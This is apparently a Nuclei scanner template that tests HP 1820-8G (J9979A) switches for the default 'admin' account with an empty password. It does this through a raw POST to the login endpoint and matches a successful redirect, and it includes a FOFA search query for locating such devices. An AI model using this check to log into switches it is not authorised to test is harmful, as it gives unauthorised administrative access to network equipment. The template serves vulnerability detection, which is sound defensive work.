id: hp-switch-default-login

info:
  name: HP 1820-8G Switch J9979A Default Login
  author: pussycat0x
  severity: high
  description: HP 1820-8G Switch J9979A default admin login credentials were discovered.
  reference:
    - https://support.hpe.com/hpesc/public/docDisplay?docId=a00077779en_us&docLocale=en_US
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
    fofa-query: HP 1820-8G Switch J9979A
  tags: default-login,hp

http:
  - raw:
      - |
        POST /htdocs/login/login.lua HTTP/1.1
        Host: {{Hostname}}

        username={{username}}&password=

    payloads:
      username:
        - admin

    matchers-condition: and
    matchers:
      - type: word
        condition: and
        words:
          - '"redirect": "/htdocs/pages/main/main.lsp"'
          - '"error": ""'

      - type: status
        status:
          - 200

# digest: 4a0a0047304502202e80305cb5409e15cb70771d63bfd2f95ce4ff715c226d2642833f79590b0ef0022100d6d28de0e99bc1b228cf1a7056e7f40c90517e67dca736408fbf41c135e6a78b:922c64590222798bb761d5b6d8e72950
